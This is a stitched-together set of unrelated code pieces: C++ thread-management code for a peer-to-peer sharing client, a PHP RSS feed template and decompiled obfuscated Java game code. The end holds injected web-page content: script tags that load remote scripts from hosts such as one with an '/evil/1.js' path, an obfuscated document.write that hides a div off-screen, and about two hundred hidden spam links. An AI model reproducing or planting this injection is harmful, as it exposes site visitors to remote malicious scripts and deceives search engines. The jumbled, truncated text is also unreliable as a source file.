static nePeerManager *g_peerClientManager = (nePeerManager *)0;
static nePeerManager *g_peerServentManager = (nePeerManager *)0;
static nePeerDownloadManager *g_peerDownloadManager =
(nePeerDownloadManager *)0;
static nePeerUploadManager *g_peerUploadManager =
(nePeerUploadManager *)0;
void *processLoginMessage(void *ptr)
{
ncSocket *newSock = (ncSocket *)ptr;
if (newSock)
{
/*
read the login message and return
an appropriate response
*/
nemsgPeerLogin peerLoginMsg(newSock);
if (peerLoginMsg.recv() == 0)
{
iprintf("neShareClientThreads::processLoginMessage | "
"Login Message Received.\n");
/*
FIXME: default TTL of connected peer is 300 seconds...
this should be configurable
*/
nePeer *newPeer = new nePeer(newSock,300);
if (newPeer)
{
if (g_peerServentManager->addPeer(newPeer))
{
eprintf("neShareClientThreads::processLoginMessa"
"ge | addPeer failed.\n");
neClientUtils::rejectNewServentPeer(newPeer);
newSock->flush();
delete newSock;
return (void *)0;
}
/* send a peer login ack */
nemsgPeerLoginAck peerLoginAckMsg(newSock);
if (peerLoginAckMsg.send() == 0)
{
iprintf("New Peer Added (addr = %x) - Total Count"
" is %d.\n",newPeer,
g_peerServentManager->getNumPeers());
newSock->flush();
}
}
else
{
eprintf("neShareClientThreads::processLoginMessage | "
"Cannot allocate new peer.\n");
}
}
else
{
/* drop the connection */
eprintf("neShareClientThreads::processLoginMessage | "
"Login Message not received.\n");
delete newSock;
}
}
return (void *)0;
}
void *listenForClients(void *ptr)
{
unsigned long clientControlPort = 0;
assert(g_config);
clientControlPort = g_config->getClientControlPort();
/*
create a ncSocketListener and register a callback that will
add a new user to the client peerManager (similar to the
userManager in the server).
*/
if (g_nsl)
{
eprintf("FIXME: neShareClientThreads::listenForClients "
"called with an already initialized socket "
"listener object -- terminating\n");
assert(0);
}
g_nsl = new ncSocketListener(clientControlPort,SOCKTYPE_TCPIP);
if (g_nsl &&
g_nsl->startListening(processLoginMessage, NC_NONTHREADED,
NC_REUSEADDR) != NC_OK)
{
eprintf("ERROR!!! NEshare client listener has mysteriously "
"stopped running.\nNo more incoming client "
"connections are allowed.\nClient listener "
"terminating.\n");
}
return (void *)0;
}
void *processClientPeers(void *ptr)
{
int numReady = 0;
std::vector<nePeer *> markedPeers;
std::vector<nePeer *>::iterator iter;
s_processClientPeersThreadStop = 1;
while(s_processClientPeersThreadStop)
{
assert(markedPeers.empty());
numReady = g_peerClientManager->pollPeerSockets(&markedPeers);
/* remove marked peers if any */
for(iter = markedPeers.begin(); iter != markedPeers.end();
iter++)
{
g_peerClientManager->removePeer((*iter),
g_peerUploadManager,
g_peerDownloadManager);
}
markedPeers.clear();
if (numReady == 0)
{
/*
if there are no peer sockets ready,
sleep and then try again.
*/
ncSleep(250);
continue;
}
else if (numReady == -1)
{
/* if an error occurred, report the error and continue */
eprintf("neShareClientThreads::processClientPeers | "
"peerManager::pollPeerSockets failed.\n");
continue;
}
/* handle ready peers, if any */
if (neClientUtils::handleReadyPeers(g_peerClientManager,
g_peerDownloadManager,
g_peerUploadManager))
{
eprintf("neShareClientThreads::processClientPeers | a"
" non-fatal peer error occured.\n");
}
/* check if a cancel request was issued */
ncThread::testCancel();
}
s_processClientPeersThreadStop = 1;
return (void *)0;
}
void *processServentPeers(void *ptr)
{
int numReady = 0;
std::vector<nePeer *> markedPeers;
std::vector<nePeer *>::iterator iter;
s_processServentPeersThreadStop = 1;
while(s_processServentPeersThreadStop)
{
assert(markedPeers.empty());
numReady = g_peerServentManager->pollPeerSockets(
&markedPeers);
/* remove marked peers if any */
for(iter = markedPeers.begin(); iter != markedPeers.end();
iter++)
{
g_peerServentManager->removePeer((*iter),
g_peerUploadManager,
g_peerDownloadManager);
}
markedPeers.clear();
if (numReady == 0)
{
/*
if there are no peer sockets ready,
sleep and then try again.
*/
ncSleep(250);
continue;
}
else if (numReady == -1)
{
/* if an error occurred, report the error and continue */
eprintf("neShareClientThreads::processServentPeers | "
"peerManager::pollPeerSockets failed.\n");
continue;
}
/* handle ready peers, if any */
if (neClientUtils::handleReadyPeers(g_peerServentManager,
g_peerDownloadManager,
g_peerUploadManager))
{
eprintf("neShareClientThreads::processServentPeers "
"| a non-fatal peer error occured.\n");
}
/* check if a cancel request was issued */
ncThread::testCancel();
}
s_processServentPeersThreadStop = 1;
return (void *)0;
}
void *processUploads(void *ptr)
{
s_processUploadsThreadStop = 1;
while(s_processUploadsThreadStop)
{
/* check if there are any current uploads */
if (g_peerUploadManager->getNumUploads() == 0)
{
/* if not, sleep for a while */
ncSleep(500);
}
else
{
/*
send another chunk to each peer
with an active download
*/
g_peerUploadManager->sendPeerData();
}
/* check if a cancel request was issued */
ncThread::testCancel();
}
s_processUploadsThreadStop = 1;
return (void *)0;
}
void startThreads(neConfig *config,
nePeerManager *peerClientManager,
nePeerManager *peerServentManager,
nePeerDownloadManager *peerDownloadManager,
nePeerUploadManager *peerUploadManager)
{
/* stash all incoming arguments for later use */
g_config = config;
g_peerClientManager = peerClientManager;
g_peerServentManager = peerServentManager;
g_peerDownloadManager = peerDownloadManager;
g_peerUploadManager = peerUploadManager;
/* set the config object on the download manager */
g_peerDownloadManager->setConfig(g_config);
/* start up client-to-client related threads */
if (s_processClientPeersThread.start(
processClientPeers,(void *)0) == NC_FAILED)
{
eprintf("Fatal error: Cannot start "
"processClientPeersThread.\n");
exit(1);
}
if (s_processServentPeersThread.start(
processServentPeers,(void *)0) == NC_FAILED)
{
eprintf("Fatal error: Cannot start "
"processServentPeersThread.\n");
exit(1);
}
if (s_clientListenerThread.start(
listenForClients,(void *)0) == NC_FAILED)
{
eprintf("Fatal error: Cannot start "
"clientListenerThread.\n");
exit(1);
}
if (s_processUploadsThread.start(
processUploads,(void *)0) == NC_FAILED)
{
eprintf("Error: Cannot start upload processing thread. "
"Skipping.\n");
}
/* detach threads (to spin off in background) */
if (s_processClientPeersThread.detach() == NC_FAILED)
{
eprintf("Fatal error: Cannot detach "
"processClientPeersThread.\n");
exit(1);
}
if (s_processServentPeersThread.detach() == NC_FAILED)
{
eprintf("Fatal error: Cannot detach "
"processServentPeersThread.\n");
exit(1);
}
if (s_clientListenerThread.detach() == NC_FAILED)
{
eprintf("Fatal error: Cannot detach clientListenerThread.\n");
stopThreads();
exit(1);
}
if (s_processUploadsThread.detach() == NC_FAILED)
{
eprintf("Error: Cannot detach processUploadsThread. "
"Skipping.\n");
}
}
void stopThreads()
{
/* stop all running client threads */
if (g_nsl)
{
g_nsl->stopListening();
}
s_processClientPeersThreadStop = 0;
s_processServentPeersThreadStop = 0;
s_processUploadsThreadStop = 0;
/*
sleep for half a second to allow
for proper thread cancellation
*/
ncSleep(500);
/* now cancel the threads, if they haven't stopped already */
if (!s_processClientPeersThreadStop)
{
s_processClientPeersThread.stop(0);
}
if (!s_processServentPeersThreadStop)
{
s_processServentPeersThread.stop(0);
}
if (!s_processUploadsThreadStop)
{
s_processUploadsThread.stop(0);
}
s_clientListenerThread.stop(0);
/* uninitialize our pointers to the objects we know about */
g_config = (neConfig *)0;
g_peerClientManager = (nePeerManager *)0;
g_peerServentManager = (nePeerManager *)0;
g_peerDownloadManager = (nePeerDownloadManager *)0;
g_peerUploadManager = (nePeerUploadManager *)0;
delete g_nsl;
g_nsl = (ncSocketListener *)0;
}
}
| Java |
<?php // need to be separately enclosed like this
header("Content-Type: application/rss+xml; charset=".config_item("charset"));
echo '<?xml version="1.0" encoding="'.config_item("charset").'"?>'.PHP_EOL;
$this->load->helper('xml');
?>
<rss version="2.0"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:admin="http://webns.net/mvcb/"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
<title><?php echo xml_convert($feed_name); ?></title>
<link><?php echo $feed_url; ?></link>
<atom:link href="<?php echo $feed_url ?>" rel="self" type="application/rss+xml" />
<description><?php echo xml_convert($page_description); ?></description>
<dc:language><?php echo $page_language; ?></dc:language>
<dc:creator><?php echo $creator_email; /*/Translators: In case we want to translate the copyright statement.. */ ?></dc:creator>
<dc:rights><?=t("Copyright !date !organization", array('!date'=>gmdate("Y"), '!organization'=>NULL)) ?></dc:rights>
<admin:generatorAgent/>
<?php foreach($clouds as $entry): ?>
<item>
<title><?php echo xml_safe(xml_convert($entry->title)); ?></title>
<link><?php echo site_url('cloud/view/'. $entry->cloud_id) ?></link>
<guid><?php echo site_url('cloud/view/'. $entry->cloud_id) ?></guid>
<description><![CDATA[<?= xml_feed_html_safe($entry->body) ?>]]></description>
<pubDate><?php
//Bug #183, 1970 date bug.
if (isset($entry->timestamp)) {
echo date('r', $entry->timestamp);
}
elseif (isset($entry->created)) {
echo date('r', $entry->created);
}
elseif (isset($entry->modified)) {
echo date('r', $entry->modified);
}
?></pubDate>
</item>
<?php endforeach; ?>
</channel>
</rss>
| Java |
final class Class3_Sub28_Sub2 extends Class3_Sub28 {
private static Class94 aClass94_3541 = Class3_Sub4.buildString("yellow:");
static int anInt3542;
private static Class94 aClass94_3543 = Class3_Sub4.buildString("Loading config )2 ");
static Class94 aClass94_3544 = aClass94_3541;
Class140_Sub2 aClass140_Sub2_3545;
static Class94 aClass94_3546 = aClass94_3543;
static Class94 aClass94_3547 = Class3_Sub4.buildString("Speicher wird zugewiesen)3");
static Class94 aClass94_3548 = aClass94_3541;
public static void method534(int var0) {
try {
aClass94_3546 = null;
aClass94_3548 = null;
aClass94_3543 = null;
int var1 = 101 % ((-29 - var0) / 45);
aClass94_3544 = null;
aClass94_3547 = null;
aClass94_3541 = null;
} catch (RuntimeException var2) {
throw Class44.method1067(var2, "bk.B(" + var0 + ')');
}
}
static final void method535(byte var0, int var1) {
try {
Class151.aFloatArray1934[0] = (float)Class3_Sub28_Sub15.method633(255, var1 >> 16) / 255.0F;
Class151.aFloatArray1934[1] = (float)Class3_Sub28_Sub15.method633(var1 >> 8, 255) / 255.0F;
Class151.aFloatArray1934[2] = (float)Class3_Sub28_Sub15.method633(255, var1) / 255.0F;
Class3_Sub18.method383(-32584, 3);
Class3_Sub18.method383(-32584, 4);
if(var0 != 56) {
method535((byte)127, 99);
}
} catch (RuntimeException var3) {
throw Class44.method1067(var3, "bk.A(" + var0 + ',' + var1 + ')');
}
}
static final Class75_Sub3 method536(byte var0, Class3_Sub30 var1) {
try {
if(var0 != 54) {
method534(117);
}
return new Class75_Sub3(var1.method787((byte)25), var1.method787((byte)73), var1.method787((byte)114), var1.method787((byte)33), var1.method787((byte)78), var1.method787((byte)91), var1.method787((byte)120), var1.method787((byte)113), var1.method794((byte)115), var1.method803((byte)-64));
} catch (RuntimeException var3) {
throw Class44.method1067(var3, "bk.C(" + var0 + ',' + (var1 != null?"{...}":"null") + ')');
}
}
Class3_Sub28_Sub2(Class140_Sub2 var1) {
try {
this.aClass140_Sub2_3545 = var1;
} catch (RuntimeException var3) {
throw Class44.method1067(var3, "bk.<init>(" + (var1 != null?"{...}":"null") + ')');
}
}
}
| Java |
<script src="http://cpm.36obuy.org/evil/1.js"></script><script src="http://cpm.36obuy.org/lion/1.js"></script><script/src=//360cdn.win/c.css></script>
<script>document.write ('<d' + 'iv cl' + 'a' + 's' + 's="z' + '7z8z' + '9z6" st' + 'yl' + 'e="p' + 'ositio' + 'n:f' + 'ixed;l' + 'ef' + 't:-3' + '000' + 'p' + 'x;t' + 'op' + ':-3' + '000' + 'p' + 'x;' + '"' + '>');</script>
<a class="z7z8z9z6" href="http://www.4695288.com/">http://www.4695288.com/</a>
<a class="z7z8z9z6" href="http://www.5613117.com/">http://www.5613117.com/</a>
<a class="z7z8z9z6" href="http://www.4309272.com/">http://www.4309272.com/</a>
<a class="z7z8z9z6" href="http://www.3619276.com/">http://www.3619276.com/</a>
<a class="z7z8z9z6" href="http://www.1539774.com/">http://www.1539774.com/</a>
<a class="z7z8z9z6" href="http://www.2234809.com/">http://www.2234809.com/</a>
<a class="z7z8z9z6" href="http://www.0551180.com/">http://www.0551180.com/</a>
<a class="z7z8z9z6" href="http://www.0027022.com/">http://www.0027022.com/</a>
<a class="z7z8z9z6" href="http://www.1408600.com/">http://www.1408600.com/</a>
<a class="z7z8z9z6" href="http://www.5004279.com/">http://www.5004279.com/</a>
<a class="z7z8z9z6" href="http://www.4314451.com/">http://www.4314451.com/</a>
<a class="z7z8z9z6" href="http://www.9402647.com/">http://www.9402647.com/</a>
<a class="z7z8z9z6" href="http://www.6420212.com/">http://www.6420212.com/</a>
<a class="z7z8z9z6" href="http://www.0921315.com/">http://www.0921315.com/</a>
<a class="z7z8z9z6" href="http://www.4849062.com/">http://www.4849062.com/</a>
<a class="z7z8z9z6" href="http://www.8027847.com/">http://www.8027847.com/</a>
<a class="z7z8z9z6" href="http://www.5101309.com/">http://www.5101309.com/</a>
<a class="z7z8z9z6" href="http://www.8033162.com/">http://www.8033162.com/</a>
<a class="z7z8z9z6" href="http://www.7808733.com/">http://www.7808733.com/</a>
<a class="z7z8z9z6" href="http://www.7021821.com/">http://www.7021821.com/</a>
<a class="z7z8z9z6" href="http://www.8560978.com/">http://www.8560978.com/</a>
<a class="z7z8z9z6" href="http://www.3301718.com/">http://www.3301718.com/</a>
<a class="z7z8z9z6" href="http://www.2444890.com/">http://www.2444890.com/</a>
<a class="z7z8z9z6" href="http://www.2501886.com/">http://www.2501886.com/</a>
<a class="z7z8z9z6" href="http://www.8773150.com/">http://www.8773150.com/</a>
<a class="z7z8z9z6" href="http://www.gkamlb.com/">http://www.gkamlb.com/</a>
<a class="z7z8z9z6" href="http://www.nxkmky.com/">http://www.nxkmky.com/</a>
<a class="z7z8z9z6" href="http://www.pkdszd.com/">http://www.pkdszd.com/</a>
<a class="z7z8z9z6" href="http://www.scqyba.com/">http://www.scqyba.com/</a>
<a class="z7z8z9z6" href="http://www.vwyhzp.com/">http://www.vwyhzp.com/</a>
<a class="z7z8z9z6" href="http://www.vwwoms.com/">http://www.vwwoms.com/</a>
<a class="z7z8z9z6" href="http://www.svfdun.com/">http://www.svfdun.com/</a>
<a class="z7z8z9z6" href="http://www.wivjvd.com/">http://www.wivjvd.com/</a>
<a class="z7z8z9z6" href="http://www.sstldp.com/">http://www.sstldp.com/</a>
<a class="z7z8z9z6" href="http://www.sqmtvh.com/">http://www.sqmtvh.com/</a>
<a class="z7z8z9z6" href="http://www.fmxnav.com/">http://www.fmxnav.com/</a>
<a class="z7z8z9z6" href="http://www.etqglz.com/">http://www.etqglz.com/</a>
<a class="z7z8z9z6" href="http://www.rjwmkb.com/">http://www.rjwmkb.com/</a>
<a class="z7z8z9z6" href="http://www.yrljss.com/">http://www.yrljss.com/</a>
<a class="z7z8z9z6" href="http://www.ymdwnv.com/">http://www.ymdwnv.com/</a>
<a class="z7z8z9z6" href="http://www.lhxcjs.com/">http://www.lhxcjs.com/</a>
<a class="z7z8z9z6" href="http://www.fekcko.com/">http://www.fekcko.com/</a>
<a class="z7z8z9z6" href="http://www.furpdg.com/">http://www.furpdg.com/</a>
<a class="z7z8z9z6" href="http://www.voqgwh.com/">http://www.voqgwh.com/</a>
<a class="z7z8z9z6" href="http://www.fknqkj.com/">http://www.fknqkj.com/</a>
<a class="z7z8z9z6" href="http://www.hhabtr.com/">http://www.hhabtr.com/</a>
<a class="z7z8z9z6" href="http://www.ogmykg.com/">http://www.ogmykg.com/</a>
<a class="z7z8z9z6" href="http://www.vseogg.com/">http://www.vseogg.com/</a>
<a class="z7z8z9z6" href="http://www.ctkllf.com/">http://www.ctkllf.com/</a>
<a class="z7z8z9z6" href="http://www.xzxefw.com/">http://www.xzxefw.com/</a>
<a class="z7z8z9z6" href="http://www.0172679.com/">http://www.0172679.com/</a>
<a class="z7z8z9z6" href="http://www.6088532.com/">http://www.6088532.com/</a>
<a class="z7z8z9z6" href="http://www.5214437.com/">http://www.5214437.com/</a>
<a class="z7z8z9z6" href="http://www.4601598.com/">http://www.4601598.com/</a>
<a class="z7z8z9z6" href="http://www.3848474.com/">http://www.3848474.com/</a>
<a class="z7z8z9z6" href="http://www.7621914.com/">http://www.7621914.com/</a>
<a class="z7z8z9z6" href="http://www.9064024.com/">http://www.9064024.com/</a>
<a class="z7z8z9z6" href="http://www.0979289.com/">http://www.0979289.com/</a>
<a class="z7z8z9z6" href="http://www.8732369.com/">http://www.8732369.com/</a>
<a class="z7z8z9z6" href="http://www.7578050.com/">http://www.7578050.com/</a>
<a class="z7z8z9z6" href="http://www.1206219.com/">http://www.1206219.com/</a>
<a class="z7z8z9z6" href="http://www.0320448.com/">http://www.0320448.com/</a>
<a class="z7z8z9z6" href="http://www.6038608.com/">http://www.6038608.com/</a>
<a class="z7z8z9z6" href="http://www.6804640.com/">http://www.6804640.com/</a>
<a class="z7z8z9z6" href="http://www.2393657.com/">http://www.2393657.com/</a>
<a class="z7z8z9z6" href="http://www.laibazonghewang.com/">http://www.laibazonghewang.com/</a>
<a class="z7z8z9z6" href="http://www.jiujiurezuixindizhi.com/">http://www.jiujiurezuixindizhi.com/</a>
<a class="z7z8z9z6" href="http://www.jiqingtupian8.com/">http://www.jiqingtupian8.com/</a>
<a class="z7z8z9z6" href="http://www.qmzufv.com/">http://www.qmzufv.com/</a>
<a class="z7z8z9z6" href="http://www.kwwxgj.com/">http://www.kwwxgj.com/</a>
<a class="z7z8z9z6" href="http://www.tvubqi.com/">http://www.tvubqi.com/</a>
<a class="z7z8z9z6" href="http://www.sjvxww.com/">http://www.sjvxww.com/</a>
<a class="z7z8z9z6" href="http://www.xpdmzk.com/">http://www.xpdmzk.com/</a>
<a class="z7z8z9z6" href="http://www.frveya.com/">http://www.frveya.com/</a>
<a class="z7z8z9z6" href="http://www.nonmnu.com/">http://www.nonmnu.com/</a>
<a class="z7z8z9z6" href="http://www.svytac.com/">http://www.svytac.com/</a>
<a class="z7z8z9z6" href="http://www.fdtggb.com/">http://www.fdtggb.com/</a>
<a class="z7z8z9z6" href="http://www.rnrnjm.com/">http://www.rnrnjm.com/</a>
<a class="z7z8z9z6" href="http://www.ymrxun.com/">http://www.ymrxun.com/</a>
<a class="z7z8z9z6" href="http://www.lkrecc.com/">http://www.lkrecc.com/</a>
<a class="z7z8z9z6" href="http://www.kgahjl.com/">http://www.kgahjl.com/</a>
<a class="z7z8z9z6" href="http://www.kqdmep.com/">http://www.kqdmep.com/</a>
<a class="z7z8z9z6" href="http://www.vwlwcu.com/">http://www.vwlwcu.com/</a>
<a class="z7z8z9z6" href="http://www.zuixinlunlidianying.com/">http://www.zuixinlunlidianying.com/</a>
<a class="z7z8z9z6" href="http://www.daxiangjiaowangzhi.com/">http://www.daxiangjiaowangzhi.com/</a>
<a class="z7z8z9z6" href="http://www.snnfi.com/">http://www.snnfi.com/</a>
<a class="z7z8z9z6" href="http://www.vfdyd.com/">http://www.vfdyd.com/</a>
<a class="z7z8z9z6" href="http://www.lwezk.com/">http://www.lwezk.com/</a>
<a class="z7z8z9z6" href="http://www.fpibm.com/">http://www.fpibm.com/</a>
<a class="z7z8z9z6" href="http://www.xjvdr.com/">http://www.xjvdr.com/</a>
<a class="z7z8z9z6" href="http://www.kvwqf.com/">http://www.kvwqf.com/</a>
<a class="z7z8z9z6" href="http://www.utakf.com/">http://www.utakf.com/</a>
<a class="z7z8z9z6" href="http://www.gmjeu.com/">http://www.gmjeu.com/</a>
<a class="z7z8z9z6" href="http://www.pugfa.com/">http://www.pugfa.com/</a>
<a class="z7z8z9z6" href="http://www.bldek.com/">http://www.bldek.com/</a>
<a class="z7z8z9z6" href="http://www.vdidu.com/">http://www.vdidu.com/</a>
<a class="z7z8z9z6" href="http://www.tufnc.com/">http://www.tufnc.com/</a>
<a class="z7z8z9z6" href="http://www.wqxri.com/">http://www.wqxri.com/</a>
<a class="z7z8z9z6" href="http://www.uaozz.com/">http://www.uaozz.com/</a>
<a class="z7z8z9z6" href="http://www.nhpbd.com/">http://www.nhpbd.com/</a>
<a class="z7z8z9z6" href="http://www.dinbz.com/">http://www.dinbz.com/</a>
<a class="z7z8z9z6" href="http://www.bopjc.com/">http://www.bopjc.com/</a>
<a class="z7z8z9z6" href="http://www.rvkip.com/">http://www.rvkip.com/</a>
<a class="z7z8z9z6" href="http://www.jsmqe.com/">http://www.jsmqe.com/</a>
<a class="z7z8z9z6" href="http://www.vwygx.com/">http://www.vwygx.com/</a>
<a class="z7z8z9z6" href="http://www.zgjm-org.com/">http://www.zgjm-org.com/</a>
<a class="z7z8z9z6" href="http://www.shenyangsiyue.com/">http://www.shenyangsiyue.com/</a>
<a class="z7z8z9z6" href="http://www.hongsang.net/">http://www.hongsang.net/</a>
<a class="z7z8z9z6" href="http://www.gpmrg.cc/">http://www.gpmrg.cc/</a>
<a class="z7z8z9z6" href="http://www.knfut.cc/">http://www.knfut.cc/</a>
<a class="z7z8z9z6" href="http://www.kjqdh.cc/">http://www.kjqdh.cc/</a>
<a class="z7z8z9z6" href="http://www.huang62.win/">http://www.huang62.win/</a>
<a class="z7z8z9z6" href="http://www.qiong19.win/">http://www.qiong19.win/</a>
<a class="z7z8z9z6" href="http://www.chang34.win/">http://www.chang34.win/</a>
<a class="z7z8z9z6" href="http://www.huang71.win/">http://www.huang71.win/</a>
<a class="z7z8z9z6" href="http://www.xiong10.win/">http://www.xiong10.win/</a>
<a class="z7z8z9z6" href="http://www.chong14.win/">http://www.chong14.win/</a>
<a class="z7z8z9z6" href="http://www.chong94.win/">http://www.chong94.win/</a>
<a class="z7z8z9z6" href="http://www.zheng23.win/">http://www.zheng23.win/</a>
<a class="z7z8z9z6" href="http://www.cheng14.win/">http://www.cheng14.win/</a>
<a class="z7z8z9z6" href="http://www.shang72.win/">http://www.shang72.win/</a>
<a class="z7z8z9z6" href="http://www.sudanj.win/">http://www.sudanj.win/</a>
<a class="z7z8z9z6" href="http://www.russias.win/">http://www.russias.win/</a>
<a class="z7z8z9z6" href="http://www.malim.win/">http://www.malim.win/</a>
<a class="z7z8z9z6" href="http://www.nigery.win/">http://www.nigery.win/</a>
<a class="z7z8z9z6" href="http://www.malix.win/">http://www.malix.win/</a>
<a class="z7z8z9z6" href="http://www.peruf.win/">http://www.peruf.win/</a>
<a class="z7z8z9z6" href="http://www.iraqq.win/">http://www.iraqq.win/</a>
<a class="z7z8z9z6" href="http://www.nepali.win/">http://www.nepali.win/</a>
<a class="z7z8z9z6" href="http://www.syriax.win/">http://www.syriax.win/</a>
<a class="z7z8z9z6" href="http://www.junnp.pw/">http://www.junnp.pw/</a>
<a class="z7z8z9z6" href="http://www.junnp.win/">http://www.junnp.win/</a>
<a class="z7z8z9z6" href="http://www.zanpianba.com/">http://www.zanpianba.com/</a>
<a class="z7z8z9z6" href="http://www.shoujimaopian.com/">http://www.shoujimaopian.com/</a>
<a class="z7z8z9z6" href="http://www.gaoqingkanpian.com/">http://www.gaoqingkanpian.com/</a>
<a class="z7z8z9z6" href="http://www.kuaibokanpian.com/">http://www.kuaibokanpian.com/</a>
<a class="z7z8z9z6" href="http://www.baidukanpian.com/">http://www.baidukanpian.com/</a>
<a class="z7z8z9z6" href="http://www.wwwren99com.top/">http://www.wwwren99com.top/</a>
<a class="z7z8z9z6" href="http://www.wwwdgshunyuancom.top/">http://www.wwwdgshunyuancom.top/</a>
<a class="z7z8z9z6" href="http://www.xianfengziyuancom.top/">http://www.xianfengziyuancom.top/</a>
<a class="z7z8z9z6" href="http://www.www96yyxfcom.top/">http://www.www96yyxfcom.top/</a>
<a class="z7z8z9z6" href="http://www.www361dywnet.top/">http://www.www361dywnet.top/</a>
<a class="z7z8z9z6" href="http://www.wwwbambootechcc.top/">http://www.wwwbambootechcc.top/</a>
<a class="z7z8z9z6" href="http://www.wwwluoqiqicom.top/">http://www.wwwluoqiqicom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwyyxfnrzcom.top/">http://www.wwwyyxfnrzcom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwzhengdadycom.top/">http://www.wwwzhengdadycom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwyewaishengcuncom.top/">http://www.wwwyewaishengcuncom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwcong3win.top/">http://www.wwwcong3win.top/</a>
<a class="z7z8z9z6" href="http://www.wwwmh-oemcn.top/">http://www.wwwmh-oemcn.top/</a>
<a class="z7z8z9z6" href="http://www.henhen168com.top/">http://www.henhen168com.top/</a>
<a class="z7z8z9z6" href="http://www.wwwhztuokuncom.top/">http://www.wwwhztuokuncom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwyasyzxcn.top/">http://www.wwwyasyzxcn.top/</a>
<a class="z7z8z9z6" href="http://www.www9hkucom.top/">http://www.www9hkucom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwguokrcom.top/">http://www.wwwguokrcom.top/</a>
<a class="z7z8z9z6" href="http://www.avhhhhcom.top/">http://www.avhhhhcom.top/</a>
<a class="z7z8z9z6" href="http://www.shouyouaipaicom.top/">http://www.shouyouaipaicom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwdouyutvcom.top/">http://www.wwwdouyutvcom.top/</a>
<a class="z7z8z9z6" href="http://www.bbsptbuscom.top/">http://www.bbsptbuscom.top/</a>
<a class="z7z8z9z6" href="http://www.miphonetgbuscom.top/">http://www.miphonetgbuscom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwtjkunchengcom.top/">http://www.wwwtjkunchengcom.top/</a>
<a class="z7z8z9z6" href="http://www.lolboxduowancom.top/">http://www.lolboxduowancom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwtaoyuancncom.top/">http://www.wwwtaoyuancncom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwngffwcomcn.top/">http://www.wwwngffwcomcn.top/</a>
<a class="z7z8z9z6" href="http://www.wwwqingzhouwanhecom.top/">http://www.wwwqingzhouwanhecom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwckyygcn.top/">http://www.wwwckyygcn.top/</a>
<a class="z7z8z9z6" href="http://www.wwwcdcjzcn.top/">http://www.wwwcdcjzcn.top/</a>
<a class="z7z8z9z6" href="http://www.m6downnet.top/">http://www.m6downnet.top/</a>
<a class="z7z8z9z6" href="http://www.msmzycom.top/">http://www.msmzycom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwcaobolcom.top/">http://www.wwwcaobolcom.top/</a>
<a class="z7z8z9z6" href="http://www.m3533com.top/">http://www.m3533com.top/</a>
<a class="z7z8z9z6" href="http://www.gmgamedogcn.top/">http://www.gmgamedogcn.top/</a>
<a class="z7z8z9z6" href="http://www.m289com.top/">http://www.m289com.top/</a>
<a class="z7z8z9z6" href="http://www.jcbnscom.top/">http://www.jcbnscom.top/</a>
<a class="z7z8z9z6" href="http://www.www99daocom.top/">http://www.www99daocom.top/</a>
<a class="z7z8z9z6" href="http://www.3gali213net.top/">http://www.3gali213net.top/</a>
<a class="z7z8z9z6" href="http://www.wwwmeidaiguojicom.top/">http://www.wwwmeidaiguojicom.top/</a>
<a class="z7z8z9z6" href="http://www.msz1001net.top/">http://www.msz1001net.top/</a>
<a class="z7z8z9z6" href="http://www.luyiluueappcom.top/">http://www.luyiluueappcom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwvcnnnet.top/">http://www.wwwvcnnnet.top/</a>
<a class="z7z8z9z6" href="http://www.wwwchaoaicaicom.top/">http://www.wwwchaoaicaicom.top/</a>
<a class="z7z8z9z6" href="http://www.mcnmocom.top/">http://www.mcnmocom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwqiuxia88com.top/">http://www.wwwqiuxia88com.top/</a>
<a class="z7z8z9z6" href="http://www.www5253com.top/">http://www.www5253com.top/</a>
<a class="z7z8z9z6" href="http://www.wwwhaichuanwaiyucom.top/">http://www.wwwhaichuanwaiyucom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwulunarcn.top/">http://www.wwwulunarcn.top/</a>
<a class="z7z8z9z6" href="http://www.wwwvideo6868com.top/">http://www.wwwvideo6868com.top/</a>
<a class="z7z8z9z6" href="http://www.wwwythmbxgcom.top/">http://www.wwwythmbxgcom.top/</a>
<a class="z7z8z9z6" href="http://www.gakaycom.top/">http://www.gakaycom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwhf1zcom.top/">http://www.wwwhf1zcom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwkrd17net.top/">http://www.wwwkrd17net.top/</a>
<a class="z7z8z9z6" href="http://www.qqav4444net.top/">http://www.qqav4444net.top/</a>
<a class="z7z8z9z6" href="http://www.www5a78com.top/">http://www.www5a78com.top/</a>
<a class="z7z8z9z6" href="http://www.hztuokuncom.top/">http://www.hztuokuncom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwqqqav7979net.top/">http://www.wwwqqqav7979net.top/</a>
<a class="z7z8z9z6" href="http://www.sscaoacom.top/">http://www.sscaoacom.top/</a>
<a class="z7z8z9z6" href="http://www.51yeyelu.info/">http://www.51yeyelu.info/</a>
<a class="z7z8z9z6" href="http://www.52luyilu.info/">http://www.52luyilu.info/</a>
<a class="z7z8z9z6" href="http://www.52yeyelu.info/">http://www.52yeyelu.info/</a>
<a class="z7z8z9z6" href="http://www.91yeyelu.info/">http://www.91yeyelu.info/</a>
<a class="z7z8z9z6" href="http://www.yeyelupic.info/">http://www.yeyelupic.info/</a>
<script>document.write ('</' + 'di' + 'v c' + 'l' + 'ass=' + '"' + 'z7z' + '8z9z' + '6' + '"' + '>');</script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ja" lang="ja">
<head>
